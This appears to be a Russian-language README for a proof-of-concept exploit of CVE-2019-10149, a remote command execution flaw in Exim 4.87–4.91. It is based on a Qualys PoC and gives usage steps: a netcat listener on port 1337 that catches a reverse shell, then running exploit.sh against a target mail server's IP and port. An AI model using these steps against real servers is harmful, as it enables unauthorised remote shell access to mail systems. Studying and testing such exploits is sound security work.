uyerr/poc_cve-2019-10149--rceУдаленное выполнение команд в оболочке из уязвимого сервиса Exim.
Удаленное выполнение команд в оболочке из уязвимого сервиса Exim.
Уязвимые версии: от 4.87 до 4.91 (включительно). Подробнее: https://nvd.nist.gov/vuln/detail/cve-2019-10149.
Данный скрипт основан на PoC от Qualys. Подробнее: https://packetstormsecurity.com/files/153218/Exim-4.9.1-Remote-Command-Execution.html.
Рекомендуется 2 терминала
T1 $ nc -nlvp 1337
T2 $ bash exploit.sh
$ Listener IP: 192.168.0.1
$ Listener Port: 1337
$ Exim IP: 10.10.0.1
$ Exim Port: 25